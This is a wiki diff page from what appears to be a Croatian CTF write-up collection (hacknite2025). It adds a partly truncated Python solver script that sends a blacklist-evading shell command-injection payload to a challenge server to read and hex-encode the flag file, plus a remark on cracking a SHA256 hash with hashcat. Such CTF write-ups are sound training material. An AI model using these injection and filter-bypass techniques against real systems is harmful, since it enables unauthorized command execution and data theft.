hacknite2025
Differences
This shows you the differences between two versions of the page.
| hacknite2025 [2025/11/20 19:05] – mbunic | hacknite2025 [2025/12/01 11:40] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 3829: | Line 3829: | ||
| Također se zadatak može riješiti i crackanjem vraćenog SHA256 hasha unutar kojega je i vraćen flag, gdje je jedini nepoznati dio 12 znamenki flaga. Korištenjem alata hashcat, ako hashcat ima zadovoljavajuć hashrate i koristi grafičku karticu, može se pretražiti nepoznati prostor u prihvatljivom vremenu. | Također se zadatak može riješiti i crackanjem vraćenog SHA256 hasha unutar kojega je i vraćen flag, gdje je jedini nepoznati dio 12 znamenki flaga. Korištenjem alata hashcat, ako hashcat ima zadovoljavajuć hashrate i koristi grafičku karticu, može se pretražiti nepoznati prostor u prihvatljivom vremenu. | ||
| - | Skripta koja rješava zadatak | + | |
| + | Skripta koja rješava zadatak | ||
| + | < | ||
| + | import requests | ||
| + | import binascii | ||
| + | |||
| + | # CONFIGURATION | ||
| + | URL = " | ||
| + | |||
| + | def decode_response(hex_string): | ||
| + | try: | ||
| + | decoded_bytes = binascii.unhexlify(hex_string) | ||
| + | return decoded_bytes.decode(' | ||
| + | except Exception as e: | ||
| + | return f" | ||
| + | |||
| + | def solve(): | ||
| + | print(" | ||
| + | |||
| + | # 1. Generate the number 1 (for 'head -n 1') | ||
| + | # logic: count ' | ||
| + | one_gen = " | ||
| + | |||
| + | # 2. Generate the number 64 (for final truncation) | ||
| + | # logic: 64 ' | ||
| + | a_64 = ' | ||
| + | len_gen = f" | ||
| + | |||
| + | # 3. Locate Python binary without using ' | ||
| + | # 'ls / | ||
| + | # We pipe to 'head -n $one' to ensure we get just one line/ | ||
| + | find_py = " | ||
| + | |||
| + | # 4. Python One-Liner | ||
| + | # Reads stdin, strips whitespace, encodes to hex. | ||
| + | # No digits or blacklisted words used here. | ||
| + | py_cmd = " | ||
| + | |||
| + | # 5. Construct the full pipeline | ||
| + | # head f* -> Read flag | ||
| + | # $py -c ... -> Hex encode it using the found python binary | ||
| + | # tr -d ' | ||
| + | raw_gen = f" | ||
| + | |||
| + | # 6. Padding Logic (same as before) | ||
| + | pad_str = ' | ||
| + | |||
| + | # 7. Combine and Print | ||
| + | cmd_logic = ( | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | ) | ||
| + | |||
| + | payload = f"' | ||
| + | |||
| + | print(f" | ||
| + | |||
| + | json_data = {" | ||
| + | |||
| + | try: | ||
| + | res = requests.post(URL, | ||
| + | response = res.json() | ||
| + | |||
| + | if response.get(" | ||
| + | returned_hash = response.get(" | ||
| + | print(f" | ||
| + | |||
| + | decoded = decode_response(returned_hash) | ||
| + | print(" | ||
| + | print(f" | ||
| + | print(" | ||
| + | else: | ||
| + | print(f" | ||
| + | |||
| + | except Exception as e: | ||
| + | print(f" | ||
| + | |||
| + | if __name__ == " | ||
| + | solve() | ||
| + | </ | ||
| + | |||
| + | |||
| + | Skripta koja rješava zadatak korištenjem Basha i generiranjem | ||
| < | < | ||
| Line 3916: | Line 4003: | ||
| print(f" | print(f" | ||
| </ | </ | ||
| + | |||
hacknite2025.1763665527.txt.gz · Last modified: 2025/12/01 11:40 (external edit)